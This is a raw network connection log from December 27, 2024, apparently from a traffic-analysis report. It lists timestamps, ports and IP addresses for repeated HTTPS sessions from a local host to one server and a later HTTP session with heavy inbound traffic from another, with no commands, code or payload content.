Dec 27, 2024 15:00:45.788707018 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:45.788722992 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.001296043 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.001391888 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.021717072 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.021786928 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.022943020 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.024370909 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.024426937 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.024859905 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.748560905 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.748641014 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.748677969 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.748722076 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.748733997 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.748775005 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.748780966 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.756896973 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.756944895 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.756958008 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.756973028 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.757021904 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.765285015 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.773627043 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.773701906 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.773715973 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.773734093 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.774024010 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.868035078 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.921484947 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.940159082 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.944283962 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.944315910 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.944416046 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.944500923 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.945760012 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.948131084 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.948143959 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:47.948173046 CET	49705	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:47.948178053 CET	443	49705	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:48.124396086 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:48.124454975 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:48.124546051 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:48.124871969 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:48.124882936 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:49.385859966 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:49.386137962 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:49.413280010 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:49.413333893 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:49.413753033 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:49.427985907 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:49.436275959 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:49.436317921 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:50.297158003 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:50.297285080 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:50.297437906 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.297437906 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.414124966 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.414165020 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:50.414231062 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.414551020 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.414560080 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:50.608865023 CET	49706	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:50.608900070 CET	443	49706	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:51.725064993 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:51.725179911 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:51.746220112 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:51.746227026 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:51.746471882 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:51.747792959 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:51.747925043 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:51.747942924 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:51.747998953 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:51.748003960 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:52.585319996 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:52.585427046 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:52.585490942 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:52.585664988 CET	49707	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:52.585678101 CET	443	49707	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:52.853110075 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:52.853223085 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:52.853339911 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:52.853717089 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:52.853755951 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:54.119587898 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:54.119719028 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:54.121144056 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:54.121175051 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:54.121558905 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:54.122869015 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:54.123047113 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:54.123092890 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:54.123182058 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:54.123198986 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:55.096673012 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:55.096808910 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:55.096862078 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:55.096981049 CET	49708	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:55.097003937 CET	443	49708	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:55.386601925 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:55.386651039 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:55.386739969 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:55.387088060 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:55.387099981 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:56.599695921 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:56.599915028 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:56.601624966 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:56.601644993 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:56.601919889 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:56.603357077 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:56.603451967 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:56.603461027 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:57.367674112 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:57.367779016 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:57.367837906 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:57.368047953 CET	49709	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:57.368063927 CET	443	49709	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:57.821033001 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:57.821072102 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:57.821152925 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:57.821500063 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:57.821515083 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.124041080 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.124183893 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.125597000 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.125612974 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.125890017 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.127182961 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.127929926 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.127969027 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128079891 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128115892 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128223896 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128261089 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128382921 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128417969 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128561974 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128598928 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128760099 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128794909 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.128806114 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128948927 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.128973961 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.171330929 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.171554089 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.171612978 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.171636105 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.219326973 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.219470024 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.219516993 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.219542980 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.267326117 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.267395973 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:00:59.315330029 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:00:59.490434885 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:01.717277050 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:01.717504978 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:01.717905045 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:01.717905045 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:01.733755112 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:01.733791113 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:01.733875036 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:01.734555960 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:01.734566927 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:02.030714035 CET	49711	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:02.030750990 CET	443	49711	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:02.994173050 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:02.994240999 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:02.996331930 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:02.996341944 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:02.996583939 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.003901005 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:03.004009008 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:03.004059076 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.800321102 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.800607920 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.800708055 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:03.800853014 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:03.800873041 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.800884008 CET	49725	443	192.168.2.5	104.21.11.101
Dec 27, 2024 15:01:03.800898075 CET	443	49725	104.21.11.101	192.168.2.5
Dec 27, 2024 15:01:03.803647041 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:03.923378944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:03.923556089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:03.923857927 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:04.043319941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.261735916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.261756897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.261837959 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.270157099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270172119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270184040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270267963 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.270304918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270344019 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.270488024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270507097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270519018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270539999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.270647049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.270690918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.381416082 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.381484985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.381561995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.460864067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.460881948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.460987091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.464864969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.466470003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.466501951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.466547012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.471362114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.471440077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.471470118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.479767084 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.479847908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.479872942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.488233089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.488358974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.488359928 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.496517897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.496608973 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.496614933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.504900932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.504972935 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.504988909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.513295889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.513389111 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.513415098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.521646976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.521722078 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.521737099 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.530051947 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.530119896 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.530158043 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.538419008 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.538491011 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.580609083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.624504089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.652870893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.653039932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.653141022 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.655435085 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.655571938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.655637026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.660630941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.662466049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.662532091 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.662566900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.667736053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.667834044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.667848110 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.672938108 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.672997952 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.673038006 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.677925110 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.677993059 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.678189039 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.682915926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.682976007 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.682991028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.687942028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.687973022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.688011885 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.692897081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.693095922 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.693121910 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.697876930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.697928905 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.697977066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.702841997 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.702902079 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.702941895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.707828045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.707885027 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.707920074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.712924004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.712981939 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.712985039 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.717865944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.717931986 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.717969894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.722871065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.722927094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.722953081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.727828026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.727893114 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.727912903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.732848883 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.732933044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.732940912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.737859964 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.737931013 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.737938881 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.742825985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.742885113 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.742989063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.747996092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.748059034 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.748085022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.752837896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.752899885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.752919912 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.796374083 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.844805956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.844938993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.845019102 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.846859932 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.846967936 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.847019911 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.851023912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.852566004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.852610111 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.852658033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.856731892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.856870890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.856940985 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.860835075 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.860934973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.860987902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.864749908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.864794016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.864893913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.868695021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.868745089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.868767977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.872456074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.872509003 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.872544050 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.876080036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.876136065 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.876188993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.879750967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.879759073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.879822016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.883361101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.883433104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 27, 2024 15:01:05.883614063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.886102915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 27, 2024 15:01:05.886168003 CET	49731	80	192.168.2.5	185.215.113.16
